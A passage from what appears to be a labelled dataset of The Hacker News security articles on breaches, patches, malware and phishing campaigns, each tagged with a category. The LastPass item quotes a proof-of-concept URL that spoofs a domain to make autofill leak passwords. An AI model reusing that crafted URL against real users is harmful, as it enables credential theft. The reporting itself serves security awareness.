""Some possibility remains that one or more CNIIHM employees could have conducted the activity linking TEMP.Veles to CNIIHM without their employer's approval. However, this scenario is highly unlikely,"" FireEye researchers concluded.

Neither Russian government nor the CNIIHM institute has responded to the FireEye report, though we can predict Russia's response, as the country has repeatedly denied such allegations from private cybersecurity firms in the past.

What's concerning is that the hackers behind Triton remained an active threat to critical infrastructure across the globe, as the malware has the ability to cause severe, life-threatening damages to an organization or shut down its operations.

",Malware
Drupal Releases Core CMS Updates to Patch Several Vulnerabilities,https://thehackernews.com/2019/04/drupal-security-update.html,"Drupal, the popular open-source content management system, has released security updates to address multiple ""moderately critical"" vulnerabilities in Drupal Core that could allow remote attackers to compromise the security of hundreds of thousands of websites.

According to the advisories published today by the Drupal developers, all security vulnerabilities Drupal patched this month reside in third-party libraries that are included in Drupal 8.6, Drupal 8.5 or earlier and Drupal 7.

One of the security flaws is a cross-site scripting (XSS) vulnerability that resides in a third-party plugin, called JQuery, the most popular JavaScript library that is being used by millions of websites and also comes pre-integrated in Drupal Core.

Last week, JQuery released its latest version jQuery 3.4.0 to patch the reported vulnerability, which has not yet assigned a CVE number, that affects all prior versions of the library to that date.

""jQuery 3.4.0 includes a fix for some unintended behavior when using jQuery.extend(true, {}, ...). If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype,"" the advisory explains.

""It's possible that this vulnerability is exploitable with some Drupal modules.""

The rest three security vulnerabilities reside in Symfony PHP components used by Drupal Core that could result in cross-site scripting (CVE-2019-10909), remote code execution (CVE-2019-10910) and authentication bypass (CVE-2019-1091) attacks.

Considering the popularity of Drupal exploits among hackers, you are highly recommended to install the latest update of the CMS as soon as possible:

If you are using Drupal 8.6, update to Drupal 8.6.15.
If you are using Drupal 8.5 or earlier, update to Drupal 8.5.15.
If you are using Drupal 7, update to Drupal 7.66.

Almost two months ago, Drupal maintainers patched a critical RCE vulnerability in Drupal Core without releasing any technical details of the flaw that could have allowed remote attackers to hack its customers' website.

But despite that, the proof-of-concept (PoC) exploit code for the vulnerability was made publicly available on the Internet just two days after the team rolled out the patched version of its software.

And then, several individuals and groups of hackers started actively exploiting the flaw to install cryptocurrency miners on vulnerable Drupal websites that did not update their CMSes to the latest version.

Last year, attackers also targeted hundreds of thousands of Drupal websites in mass attacks using in the wild exploits leveraging two separate critical remote code execution vulnerabilities, which were dubbed Drupalgeddon2 and Drupalgeddon3.

In those case as well, the attacks started shortly after PoC exploit code for both the vulnerabilities was published on the Internet, which was then followed by large-scale Internet scanning and exploitation attempts.

Long story short—Patch your websites before it gets too late.

",Vulnerability
"Ashley Madison Hackers (with another 300GB Dump) – Wait, Cheaters! We haven't Yet Done",https://thehackernews.com/2015/08/ashley-madison-hacked.html,"Over a month ago, a group of hackers breached the popular cheater's dating service Ashley Madison and its parent company Avid Life Media, affecting tens of Millions site customers private life and also dump the website's source code onto the dark web.

The hackers behind the Ashley Madison hack, who call themselves The Impact Team, leaked 10GB of its customers private data online on Tuesday, shortly followed by another 20GB of company's internal data on Thursday.

The second round of leak exposed a massive amount of e-mail from Ashley Madison parent company's Avid Life Media CEO Noel Biderman.

Now, the Impact Team also posted a third data dump on Friday.

Hackers Finally Break Their Silence

The hackers finally spoke out for the first time after the bombshell leaks.

In an interview with Motherboard, the hackers claimed to have 300GB of other data from Ashley Madison hack, which includes nude photographs and private, explicit chats between members.

However, the Impact Team said it would not release naked or explicit photos of Ashley Madison customers, but did not rule out making public private chats, and other photographs posted through the adultery website.

Large Trove of Data

The Impact Team claims to have a lot more data from Ashley Madison's servers:
300GB of employee emails and docs from internal network
Tens of thousands of Ashley Madison customers pictures
Ashley Madison users' chats and messages
1/3 of pictures are ""Dick Pictures""
Other data includes employee e-mails and documents

According to Motherboard, the hackers sound legit, as they replied with a message signed with the same PGP key used in the Ashley Madison data dumps.

The Impact Team - ""Nobody was Watching. No Security""

When asked about the cheaters website security, the team said, ""Nobody was watching. No security"" when it broke into Ashley Madison's servers repeatedly over the past few years. One hacker said, ""[We] got in and found nothing to bypass.""

The team of hackers had threatened to publish names, nude photos and sexual fantasies of its customers unless Avid Media closed down the site.
""They make $100,000,000 in fraud a year,"" said the Impact Team. ""Not very surprised they didn't shut down. Maybe lawyers can shut them down now. They sound like politicians, cannot stop lying.""
Security experts said data dumps released by the Impact Team on Tuesday and Thursday appeared to be genuine.

Tuesday's release included customer information belonging to U.S. government officials, British civil servants and high-level executives at European and North America corporations.

Meanwhile a heartbroken wife whose husband was appeared as a Ashley Madison customer has started the first divorce proceedings.

Representatives of Avid Life Media could not immediately be reached for comment.

",Data_Breaches
Critical Auth Bypass Bug Affects VMware Carbon Black App Control,https://thehackernews.com/2021/06/critical-auth-bypass-bug-affects-vmware.html,"VMware has rolled out security updates to resolve a critical flaw affecting Carbon Black App Control that could be exploited to bypass authentication and take control of vulnerable systems.
The vulnerability, identified as CVE-2021-21998, is rated 9.4 out of 10 in severity by the industry-standard Common Vulnerability Scoring System (CVSS) and affects App Control (AppC) versions 8.0.x, 8.1.x, 8.5.x, and 8.6.x.
Carbon Black App Control is a security solution designed to lock down critical systems and servers to prevent unauthorized changes in the face of cyber-attacks and ensure compliance with regulatory mandates such as PCI-DSS, HIPAA, GDPR, SOX, FISMA, and NERC.
""A malicious actor with network access to the VMware Carbon Black App Control management server might be able to obtain administrative access to the product without the need to authenticate,"" the California-based cloud computing and virtualization technology company said in an advisory.
CVE-2021-21998 is the second time VMware is addressing an authentication bypass issue in its Carbon Black endpoint security software. Earlier this April, the company fixed an incorrect URL handling vulnerability in the Carbon Black Cloud Workload appliance (CVE-2021-21982) that could be exploited to gain access to the administration API.
That's not all. VMware also patched a local privilege escalation bug affecting VMware Tools for Windows, VMware Remote Console for Windows (VMRC for Windows), and VMware App Volumes (CVE-2021-21999, CVSS score: 7.8) that could allow a bad actor to execute arbitrary code on affected systems.
""An attacker with normal access to a virtual machine may exploit this issue by placing a malicious file renamed as 'openssl.cnf' in an unrestricted directory which would allow code to be executed with elevated privileges,"" VMware noted.
VMware credited Zeeshan Shaikh (@bugzzzhunter) from NotSoSecure and Hou JingYi (@hjy79425575) of Qihoo 360 for reporting the flaw.

",Vulnerability
What Does PCI 3.0 Mean to Security Practitioners?,https://thehackernews.com/2013/10/what-does-pci-30-mean-to-security_23.html,"Cybercrime, identity theft, and frauds are on the rise; and in most cases, the data breaches are associated with credit cards and cardholder data. The impact of data breach not only affects your organization, but also your customers.

A common observation cites that organizations that are PCI compliant are 50% less likely to suffer a data breach. It is alarming to notice that most organizations have difficulty complying with the requirements necessary for processing cardholder data.
PCI makes the process smooth
Based on the feedback from the industry, PCI Security Council has introduced some changes in the compliance regulations and has come up with version 3.0 for PCI compliance whose final version is scheduled for release on November 7, 2013. And, it is expected to be effective from January 2014. So, how will the upgraded version of PCI Compliance impact your organization?

Awareness : Most security breaches happen due to lack of awareness in the following areas:
Payment security
Maintenance of PCI standards
Proper implementation methods
The 3.0 upgrade will also clarify the intent of the requirements and implementation methods.

Flexibility : The upgrade also adds more flexibility in terms of meeting PCI requirements and how organizations will address the requirements and mitigate risks.

Shared Responsibility : PCI 3.0 cites that securing cardholder data is a shared responsibility due to an increase in the number of access points for the cardholder data. The challenge posed by the upgrade is how well equipped you are to embrace PCI 3.0.

Factors considered for the revisions in PCI 3.0
Improvement of payment security
Global applicability
Cost of change for your infrastructure
Impact of the changes
What's new with PCI 3.0 and why the new version?
PCI Requirement No.
Current PCI DSS Standard
(as of October 2013)
Proposed PCI DSS Update for 3.0 on top of existing standards
Purpose
1
Install and maintain a firewall configuration to protect cardholder data.
Have a current diagram that shows cardholder data flows.
To clarify that documented cardholder data flows are an important component of network diagrams.
2
Do not use vendor-supplied defaults for system passwords and other security parameters.
Maintain an inventory of system components in scope for PCI DSS.
To support effective scoping practices.
3
Protect stored cardholder data.

No change from the existing version

4
Encrypt transmission of cardholder data across open, public networks.

No change from the existing version

5
Use and regularly update antivirus software.

Evaluate evolving malware threats for systems not commonly affected by malware.
To promote ongoing awareness and due diligence to protect systems from malware
6
Develop and maintain secure systems and applications.
Update list of common vulnerabilities in alignment with OWASP, NIST, and SANS for inclusion in secure coding practices.
To keep current with emerging threats.
7
Restrict access to cardholder data by business need-to-know.
No change from the existing version

8
Assign a unique ID to each person with computer access.
Security considerations for authentication mechanisms such as physical security tokens, smart cards, and certificates.
To address feedback about requirements for securing authentication methods, other than passwords, that need to be included.
9
Restrict physical access to cardholder data.
Protect POS terminals and devices from tampering or substitution.
To address the need for physical security of payment terminals.
10
Track and monitor all access to network resources and cardholder data.

No change from the existing version

11
Regularly test security systems and processes.
Implement a methodology for penetration testing, and perform penetration tests to verify that the segmentation methods are operational and effective.
To address requests for more details about penetration tests, and for more stringent scoping verification.

12
Maintain a policy that addresses information security.
Maintain information about which PCI DSS requirements are managed by service providers and which are managed by the entity.
Service providers need to accept responsibility for maintaining applicable PCI DSS requirements.
To address feedback from the 3rd-Party Security Assurance SIG.

So, what do these changes mean to you?
The changes in PCI 3.0 have been more structural in nature, which means they would make your organization more proactive in protecting cardholder data.

The upgrade includes the following improvements:
Elimination of the redundant sub-requirements
Clarification of the testing procedures for each requirement
Strengthens the requirements around penetration testing and validation of network segments
More flexibility around risk mitigation methods comprising password strength and complexity requirements.
After PCI 3.0 becomes functional, you should complete the following:
Provide policy guidance and operational procedures for each requirement
Maintain an inventory of all systems within your PCI scope
Keeping your Antivirus software up to date and regularly running virus scans is now more important in ensuring that you haven't been susceptible to vulnerabilities. You also need to start investing in the right security information & event management (SIEM) solution that will help you quickly uncover PCI DSS policy violations by identifying attacks, highlighting threats with real-time log analysis, and implementing powerful cross-device, cross-event correlation covering your entire IT infrastructure.

SolarWinds® Log & Event Manager (LEM) provides 300 pre-built ""audit-proven"" report templates that you can use to generate reports complying with PCI DSS and other federal compliance regulations, or customize them for internal requirements.

Have you started assessing and reporting your compliance adherence yet?
Yaagneshwaran Ganesh - Product Marketing Specialist at SolarWinds, with a primary focus on Information Security. Market Research, Managed Hosting services, etc.(Google+ Profile)

",Data_Breaches
Warning! CCTV Cameras Sold on Amazon Come with Pre-Installed Malware,https://thehackernews.com/2016/04/home-security-system.html,"Be careful while buying any off-brand electronics from Amazon, as they could end up infecting you.

Recently, independent security researcher Mike Olsen discovered that the CCTV surveillance devices sold on Amazon came with pre-installed malware.

Olsen discovered this nasty secret after he bought a set of outdoor CCTV surveillance cameras from Amazon for one of his friends.

He picked Sony Chip HD 6 Camera 1080P PoE IP CCTV surveillance camera kit sold by the Urban Security Group (USG) on Amazon, as it had good reviews and was a relatively cheap set of 6 cameras with all necessary equipment included.

While helping his friend set up the cameras, Olsen logged into the administrator panel to configure the surveillance system and found that the page hosted ""no normal controls or settings.""

Assuming that it might be bad programming, Olsen opened up the browser's developer tools and was surprised to discover a hidden iFrame loaded at the bottom of the body tag, retrieving content from Brenz.pl.

Surveillance Camera Comes Pre-Installed with Malware

A quick Google search revealed that the Brenz.pl domain was used in malware distribution campaigns, according to a blog post by cyber-security vendor Sucuri in 2011.

In short, this means that the newly bought surveillance camera kit could be infected with malware anytime, when the Brenz.pl operator decides to push malicious code to the DVR's backend through the hidden iFrame.

Once the CCTV camera's operator accessed that page, the malware would be downloaded and installed, potentially leading to unlawful spying and data theft.

Since the Breza.pl domain was already on the firmware, there might be other nasty malware included in the firmware as well, that does not provide the camera's owner to access the backend.

The malware distributed by the surveillance cameras can have the ability to hijack video feeds or make the customer's cameras part of a DDoS Botnet, something that happened last year.

So be careful what you buy. Check reviews of every product before buying, even if the product brand and the eCommerce platform is trusted.

",Malware
"7 New Meltdown and Spectre-type CPU Flaws Affect Intel, AMD, ARM CPUs",https://thehackernews.com/2018/11/meltdown-spectre-vulnerabilities.html,"Disclosed earlier this year, potentially dangerous Meltdown and Spectre vulnerabilities that affected a large family of modern processors proven that speculative execution attacks can be exploited in a trivial way to access highly sensitive information.

Since then, several more variants of speculative execution attacks have been discovered, including Spectre-NG, SpectreRSB, Spectre 1.1, Spectre1.2, TLBleed, Lazy FP, NetSpectre and Foreshadow, patches for which were released by affected vendors time-to-time.

Speculative execution is a core component of modern processors design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded.

Now, the same team of cybersecurity researchers who discovered original Meltdown and Spectre vulnerabilities have uncovered 7 new transient execution attacks affecting 3 major processor vendors—Intel, AMD, ARM.

While some of the newly-discovered transient execution attacks are mitigated by existing mitigation techniques for Spectre and Meltdown, others are not.
""Transient execution attacks leak otherwise inaccessible information via the CPU's microarchitectural state from instructions which are never committed,"" the researchers say.
""We also systematically evaluated all defenses, discovering that some transient execution attacks are not successfully mitigated by the rolled out patches and others are not mitigated because they have been overlooked.""
Out of 7 newly discovered attacks, as listed below, two are Meltdown variants, named as Meltdown-PK and Meltdown-BR, and other 5 are new Spectre mistraining strategies.

1. Meltdown-PK (Protection Key Bypass)—On Intel CPUs, an attacker with code execution ability in the containing process can bypass both read and write isolation guarantees enforced through memory-protection keys for userspace.

2. Meltdown-BR (Bounds Check Bypass)—Intel and AMD x86 processors that ship with Memory Protection eXtensions (MPX) or IA32 bound for efficient array bounds checking can be bypassed to encode out-of-bounds secrets that are never architecturally visible.

Spectre-PHT (Pattern History Table)

3. Spectre-PHT-CA-OP (Cross-Address-space Out of Place)—Performing previously disclosed Spectre-PHT attacks within an attacker-controlled address space at a congruent address to the victim branch.

4. Spectre-PHT-SA-IP (Same Address-space In Place)—Performing Spectre-PHT attacks within the same address space and the same branch location that is later on exploited.

5. Spectre-PHT-SA-OP (Same Address-space Out of Place)—Performing Spectre-PHT attacks within the same address space with a different branch.

Spectre-BTB (Branch Target Buffer)

6. Spectre-BTB-SA-IP (Same Address-space In Place)—Performing Spectre-BTB attacks within the same address space and the same branch location that is later on exploited.

7. Spectre-BTB-SA-OP (Same Address-space Out of Place)—Performing Spectre-BTB attacks within the same address space with a different branch.

Researchers demonstrate all of the above attacks in practical proof-of-concept attacks against processors from Intel, ARM, and AMD. For Spectre-PHT, all vendors have processors that are vulnerable to all four variants of mistraining, they say.
""We performed a vulnerability assessment for these new attack vectors on Intel, ARM, and AMD. For Intel, we tested our proofs-of-concept on a Skylake i5-6200U and a Haswell i7-4790. Our AMD test machines were a Ryzen 1950X and a Ryzen Threadripper 1920X. For experiments on ARM, a NVIDIA Jetson TX1 has been used,"" the researchers say.
Researchers responsibly disclosed their findings to Intel, ARM, and AMD, of which Intel and ARM acknowledged the report. The team also said since the vendors are working to address the issues, they decided to hold their proof-of-concept exploits for some time.

For in-depth details about the new attacks, you can head on to the research paper titled, ""A Systematic Evaluation of Transient Execution Attacks and Defenses,"" published by the team of researchers today.

",Vulnerability
Simple bug could lead to RCE flaw on apps built with Electron Framework,https://thehackernews.com/2018/05/electron-node-integration.html,"A critical remote code execution vulnerability has been discovered in the popular Electron web application framework that could allow attackers to execute malicious code on victims' computers.

Electron is an open source app development framework that powers thousands of widely-used desktop applications including WhatsApp, Skype, Signal, Wordpress, Slack, GitHub Desktop, Atom, Visual Studio Code, and Discord.

Besides its own modules, Electron framework also allows developers to create hybrid desktop applications by integrating Chromium and Node.js framework through APIs.

Since Node.js is a robust framework for server-side applications, having access to its APIs indirectly gives Electron-based apps more control over the operating system installed on the server.

To prevent unauthorised or unnecessary access to Node.js APIs, Electron framework by default sets the value of ""webviewTag"" to false in its ""webPreferences"" configuration file, which then sets ""nodeIngration"" to false.

This configuration file with the hardcoded values of some parameters was introduced in the framework to prevent real-time modifications by malicious functions, i.e., by exploiting a security vulnerability like cross-site scripting (XSS).

Moreover, if an app developer skips or forgets to declare ""webviewTag: false"" in the configuration file, even then the framework by default considers the value of ""nodeIntegration"" as false, to take a preventive measure.
However, Trustwave researcher Brendan Scarvell has released proof-of-concept (PoC) code that attackers can inject into targeted applications running without ""webviewTag"" declared, by exploiting a cross-site scripting flaw, to achieve remote code execution.

The exploit re-enables ""nodeIntegration"" in runtime, allowing attackers to gain unauthorised control over the application server and execute arbitrary system commands.

It should be noted that the exploit would not work if the developer has also opted for one of the following options:

nativeWindowOption option enabled in its webPreferences.
Intercepting new-window events and overriding event.newGuest without using the supplied options tag.

The vulnerability, tracked as CVE-2018-1000136, was reported to the Electron team by Scarvell earlier this year and affected all versions of Electron at the time of discovery.

Electron developers patched the vulnerability in March 2018 with the release of versions 1.7.13, 1.8.4, and 2.0.0-beta.4.

So, app developers should ensure their applications are patched, or at least not vulnerable to this issue.

For more technical details on the Electron vulnerability and PoC exploit code, you can head on to the Trustwave's blog post.

It should also be noted that the Electron bug has nothing to do with the recently discovered flaw in Signal app, which has also recently patched a critical cross-site scripting vulnerability that leads to remote code execution, whose full technical details are scheduled to be published exclusively on The Hacker News this evening. Stay Tuned!

",Vulnerability
Ping.fm vulnerable to Clickjacking (Video Demonstration),https://thehackernews.com/2012/01/pingfm-vulnerable-to-clickjacking-video.html,"Ping.fm vulnerable to Clickjacking (Video Demonstration)
Two Indian Hackers Aditya Gupta(@adi1391) and Subho Halder (@sunnyrockzzs) have discovered Clickjacking vulnerability in one of the famous website ""Ping.FM"". Clickjacking is a malicious technique of tricking Web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

This is based on a technique known as clickjacking ( or UI Redressing ) where an attacker could perform actions on the behalf of user by tricking the user to click on a button or perform some other action.

This vulnerability was earlier seen in Twitter where it allows the status to be loaded through the GET method, and an attacker could frame the twitter webpage and trick the user to click on the tweet button, with the user thinking that its a part of the attacker's webpage.

This can be disabled by setting the X-FRAME-ORIGIN method to SAME ORIGIN or DENYING the use of webpage inside a frame which have been adopted by google, facebook and many other famous websites.

Ping.fm is a online service which allows the user to connect to many social networks at once. However an attacker could use a technique known as Clickjacking to silently update the user's social networking status at Twitter, Facebook and all other connected accounts.In this technique, the user is tricked into clicking on a button on a webpage designed by the attacker,which silently updates the status of the user on the social netowrks status taking advantage of thePing.fm API and clickjacking technique.

Video Demonstration POC :

",Vulnerability
Unpatched Windows Kernel Bug Could Help Malware Hinder Detection,https://thehackernews.com/2017/09/windows-kernel-malware.html,"A 17-year-old programming error has been discovered in Microsoft's Windows kernel that could prevent some security software from detecting malware at runtime when loaded into system memory.

The security issue, described by enSilo security researcher Omri Misgav, resides in the kernel routine ""PsSetLoadImageNotifyRoutine,"" which apparently impacts all versions of Windows operating systems since Windows 2000.

Windows has a built-in API, called PsSetLoadImageNotifyRoutine, that helps programs monitor if any new module has been loaded into memory. Once registered, the program receives notification each time a module is loaded into memory. This notification includes the path to the module on disk.

However, Misgav found that due to ""caching behaviour, along with the way the file-system driver maintains the file name and a severe coding error,"" the function doesn't always return the correct path of the loaded modules.

What's bad? It seems like Microsoft has no plans to address this issue, as the software giant does not consider it as a security vulnerability.
""This bug could have security implications for those who aren't aware of its existence. We believe that if Microsoft does not plan on fixing this bug, they should at least explicitly warn developers about it in their documentation,"" says Tal Liberman, head of the research team at enSilo.
The researchers believe this ""programmatic error"" could theoretically be used by malware authors to bypass antivirus detection—especially those security products which rely on this API to check if any malicious code has been loaded into memory—using a ""series of file operations"" to mislead the scanning engine into looking at the wrong file.

So, if your endpoint detection and response products rely on this buggy API, you should either consider not using it or must implement the workaround introduced by the researcher to overcome the loophole.

In a separate blog post, Misgav advised software developers to use another Windows API (FltGetFileNameInformationUnsafe) to check the validity of the module's path using the file object parameter.

If the file exists, it is possible to verify that the file object being loaded into memory is indeed the same file that lies on disk.

For a more technical explanation, you can head on to enSilo's blog.

In separate news, security researchers from Check Point reported about a new attack technique, dubbed Bashware, which takes advantage of Windows built-in Linux subsystem to hide malware from the most security solutions.

",Malware
Mirai Botnet Itself is Flawed; Hacking Back IoTs Could Mitigate DDoS Attacks,https://thehackernews.com/2016/10/mirai-botnet-iot-malware.html,"The infamous botnet that was used in the recent massive distributed denial of service (DDoS) attacks against the popular DNS provider Dyn, causing vast internet outage last Friday, itself is flawed.

Yes, Mirai malware, which has already enslaved millions of Internet of Things (IoT) devices across 164 countries, contains several vulnerabilities that might be used against it in order to destroy botnet's DDoS capabilities and mitigate future attacks.

Early October, the developer of the malware publically released the source code of Mirai, which is designed to scan for IoT devices – mostly routers, cameras, and DVRs – that are still using their default passwords and then enslaves them into a botnet, which is then used to launch DDoS attacks.

However, after a close look at the source code, a researcher discovered three vulnerabilities, one of which could be used to shut down Mirai's ability to flood targets with HTTP requests.

A stack buffer overflow vulnerability was found by Scott Tenaglia, a researcher at endpoint security firm Invincea, in the segment of the Mirai's code that carries out HTTP flood attacks.

However, if exploited, the vulnerability could crash the attack process, thereby terminating the attack from that bot (infected IoT device), but leaving that compromised device intact and running.

Tenaglia has publically released the exploit, saying his exploit would not have helped in the recent DNS-based DDoS attack against Dyn that rendered major websites inaccessible, but would also shut down Layer 7 attack capabilities present in Mirai.

That's because Mirai is capable of launching HTTP floods as well as various network DDoS attacks, including DNS floods, UDP floods, SYN and ACK floods, GRE IP and GRE ETH floods, STOMP (Simple Text Oriented Message Protocol) flood attacks.
""This simple 'exploit' is an example of active defense against an IoT botnet that could be used by any DDoS mitigation service to guard against a Mirai-based HTTP flood attack in real time,"" Tenaglia writes in a blog post. ""Although it cannot be used to remove the bot from the IoT device, it can be used to halt the attack originating from that particular device.""
Legal Concerns of Hacking Back:
However, exploiting this vulnerability is to hack back tens of hundreds of IoT devices, which is a controversial and illegit approach and could put defenders in a gray area.

Hacking back involves making changes to systems across various countries without permission from a device's owner, an ISP or its carrier, and Invincea adds a disclaimer on its research, saying it is not advocating a counterattack.

But since the flaw has the capability of thwarting the threat, white-hat vigilante hackers can silently use this vulnerability against the malware and take Mirai-infected devices away from the criminals.

As we have seen numerous court-ordered botnet takedowns in the past, the authorities can get a court order and hack back Mirai-compromised devices in order to shut down the infamous botnets.

The DDoS attack that hit French Internet service and hosting provider OVH with 1.1 Tbps of junk traffic, which is the largest DDoS attack known to date, also came from Mirai bots.

",Vulnerability
New Group of Hackers Targeting Businesses with Financially Motivated Cyber Attacks,https://thehackernews.com/2019/11/financial-cyberattacks.html,"Security researchers have tracked down activities of a new group of financially-motivated hackers that are targeting several businesses and organizations in Germany, Italy, and the United States in an attempt to infect them with backdoor, banking Trojan, or ransomware malware.

Though the new malware campaigns are not customized for each organization, the threat actors appear to be more interested in businesses, IT services, manufacturing, and healthcare industries who possess critical data and can likely afford high ransom payouts.

According to a report ProofPoint shared with The Hacker News, the newly discovered threat actors are sending out low-volume emails impersonating finance-related government entities with tax assessment and refund lured emails to targeted organizations.

""Tax-themed Email Campaigns Target 2019 Filers, finance-related lures have been used seasonally with upticks in tax-related malware and phishing campaigns leading up to the annual tax filing deadlines in different geographies,"" the researchers said.

New Malware Campaigns Spotted in the Wild

In almost all spear-phishing email campaigns researchers observed between October 16 and November 12 this year, the attackers used malicious Word document attachments as an initial vector to compromise the device.


Once opened, the malicious document executes a macro script to run malicious PowerShell commands, which then eventually downloads and installs one of the following payloads onto the victim's system:

Maze Ransomware,
IcedID Banking Trojan,
Cobalt Strike backdoor.

'Opening the Microsoft Word Document and enabling macros installs Maze ransomware on the user's system, encrypting all of their files, and saves a ransom note resembling the following in TXT format in every directory.'

Besides using social engineering, to make their spear-phishing emails more convincing, attackers are also using lookalike domains, verbiage, and stolen branding to impersonate:

Bundeszentralamt fur Steuern, the German Federal Ministry of Finance,
Agenzia Delle Entrate, the Italian Revenue Agency,
1&1 Internet AG, a German internet service provider,
USPS, the United States Postal Service.

""Similar campaigns leveraging local gov. agencies were also observed in Germany and Italy. These social-engineered lures indicate that cybercriminals overall are becoming more convincing and sophisticated in their attacks.""

""Although these campaigns are small in volume, currently, they are significant for their abuse of trusted brands, including government agencies, and for their relatively rapid expansion across multiple geographies. To date, the group appears to have targeted organizations in Germany, Italy, and, most recently, the United States, delivering geo-targeted payloads with lures in local languages,"" Christopher Dawson, Threat Intelligence Lead at Proofpoint, told The Hacker News.

""We will be watching this new actor closely, given their apparent global aspirations, well-crafted social engineering, and steadily increasing scale.""

How to Protect Email-Based Cyber Attacks?

Thought most of the tools and techniques used by this new group are neither new nor sophisticated; unfortunately, it's still one of the most successful ways criminals penetrate an organization.

The best ways to protect your computer against such attacks are as simple as following basic online cybersecurity practices, such as:

Disable macros from running in office files,
Always keep a regular backup of your important data,
Make sure you run one of the best antivirus software on your system,
Don't open email attachments from unknown or untrusted sources,
Don't click on the links from unknown sources.

",Cyber_Attack
The 2020 State of Breach Protection Survey – Call for Participation,https://thehackernews.com/2019/12/breach-protection-survey.html,"2010-2019 decade will be remembered as the time in which cybersecurity became acknowledged as a critical concern for all organizations.

With rapidly growing security needs and respective budgets, it is now more essential than ever for security decision-makers to zoom out of the 'products' mindset and assess their security stack in light of the overall breach protection value that their investments return.

The 2020 State of Breach Protection Survey (click here to participate) attempts to map out for the first time how breach protection is practiced and maintained globally – what are the common products, services, concerns, and challenges that are most common amongst organizations.

Any security professional filling the anonymous salary survey questionnaire, organised by The Hacker News in partnership with Cynet, will get a free copy of the survey report once it is released in January 2020. You can complete the questionnaire here.

Why is that important? Because unlike 'endpoint protection,' or 'next-generation firewall,' breach protection is not a strictly defined category and most chances are that – again, unlike these previous two examples – there is no budget in your organization that's designated for 'breach protection,' even while this is the ultimate goal of all your cybersecurity investments.

Changing from security products to breach-protection oriented mindset is essential to break away from the comfort zone of the known and currently practiced security in an organization, pushing you to ask the really hard questions continuously.

The hard questions are not whether the SIEM operates adequately or whether the EPP was successfully deployed across all endpoints in your environment, but rather – is my environment truly secured despite the products, workforce, and service providers I engage? And if not, what can I do about it?

And the best place to start is to get firm and fact-based insights into what others are doing. We all face the same attacks and need to confront them within a pool of available resources. That makes crowd-sourcing this knowledge an extremely powerful tool.

Going straight to the point – what's in it for you by filling the survey? For the most part, you will be benchmarking your variation of breach protection with a comparison set which is far wider than your standard cycles. Let's assume that your interpretation of breach protection includes, for example, EDR on your endpoints, CASB for your SaaS apps with both streaming alerts to a cloud-based SIEM, and engaging a 3rd party MSSP for incident response and investigation.

Is that a common model? If not, what is and how might it impact your onward decision making? Gaining robust knowledge on how your role and industry peers handle challenges similar to yours can provide you with new perspectives.

From a different angle – what do you perceive as your greatest challenge? Is it recruiting a skilled security team? Or perhaps capturing the management mindset to approve the budgets for all the products and services your environment requires? The best supporting evidence to a budgetary claim is showing how the request is on par with the industry standards.

So it's a win-win. Complete the survey and do a valuable service, both to yourself and to the wider community of security decision-makers.

Participate in the 2020 State of Breach Protection Survey here.
",Data_Breaches
LastPass Bug Lets Hackers Steal All Your Passwords,https://thehackernews.com/2016/07/lastpass-password-manager.html,"A critical zero-day flaw has been discovered in the popular cloud password manager LastPass that could allow any remote attacker to compromise your account completely.

LastPass is one of the best password manager that also available as a browser extension that automatically fills credentials for you.

All you need is to remember one master password to unlock all other passwords of your different online accounts, making it much easier for you to use unique passwords for different sites.

However, the password manager isn't as secure as it promises.

Also Read: Popular Password Managers Are Not As Secure As You Think

Google Project Zero Hacker Tavis Ormandy discovered several security issues in the software that allowed him to steal passwords stored with LastPass.
""Are people really using this LastPass thing? I took a quick look and can see a bunch of obvious critical problems. I'll send a report asap,"" Ormandy revealed on Twitter.
Once compromise a victim's LastPass account, hackers would be able to access a treasure trove of passwords for victim's other online services.

Since LastPass is working on a fix to the zero-day vulnerability, technical details about the issues have not been disclosed by the researcher.

Also Read: Best Password Manager — For Windows, Linux, Mac, Android, iOS and Enterprise

Similar Old Bug in LastPass Password Manager:

Coincidentally, another security researcher Mathias Karlsson also announced that he had uncovered some issues in LastPass, that has already been patched by the company.

A specially crafted URL is enough to take complete control of its user's accounts.

As Karlsson explained in a blog post published today, an attacker could send a specially-crafted URL to the victim in order to steal passwords from his/her vault.

This specific vulnerability resided in the autofill functionality of the LastPass browser extension, where a faulty regular expression for parsing the URL was allowing an attacker to spoof the targeted domain.
""By browsing this URL: https://avlidienbrunn.se/@twitter.com/@hehe.php the browser would treat the current domain as avlidienbrunn.se while the extension would treat it as twitter.com,"" Karlsson explained.
Therefore, by abusing form auto-fill functionality, a hacker could steal victim's, let's say, Facebook password, by sending the POC URL containing facebook.com to the victim.

This particular flaw has already been patched by the company within a day, and Karlsson has even been awarded with a bug bounty of $1,000.

Also Read: Who's to Blame for Weak Passwords?

Well, the issues in password managers are really worrying, but this doesn't mean that you should stop using password managers. Password managers still encourage you to use unique and complex passwords for every single site.

In wake of the latest issue, users can avoid browser-based password managers and instead switch to offline versions, like KeePass.

Update: LastPass has quickly patched the vulnerability reported by Tavis Ormandy and pushed an update with fix for all Firefox users using LastPass 4.
""The recent report only affects Firefox users. If you are a Firefox user running LastPass 4.0 or later, an update will be pushed via your browser with the fix in version 4.1.21a."" LastPass said in a blog post.

",Vulnerability
Massive ATM Hack Hits 3.2 Million Indian Debit Cards — Change Your PIN Now!,https://thehackernews.com/2016/10/india-debit-card-hack.html,"India is undergoing the biggest data breaches to date with as many as 3.2 Million debit card details reportedly stolen from multiple banks and financial platforms.

The massive financial breach has hit India's biggest banks including State Bank of India (SBI), HDFC Bank, Yes Bank, ICICI Bank and Axis, and customers are advised to change their ATM PIN immediately.

Hackers allegedly used malware to compromise the Hitachi Payment Services platform — which is used to power country's ATM, point-of-sale (PoS) machines and other financial transactions — and stole details of 3.2 Million debit cards, reports The Economic Times.

Of 3.2 Million debit cards, 2.6 Million are powered by Visa or Mastercard and rest 600,000 work on top of India's own RuPay platform.

Hacked Debit Cards Reportedly Used in China

It is not yet clear who is behind the cyber attack, but the report adds that a number of affected customers have observed unauthorized transactions made by their cards in various locations in China.

Some banks, including the country's biggest lender SBI, have announced that they'll replace compromised debit cards, while others banks, including HDFC Bank, have urged their customers to change their ATM PINs and avoid using ATMs of other banks.

The extent of damage due to breach also depends on the type of cards customers are using.

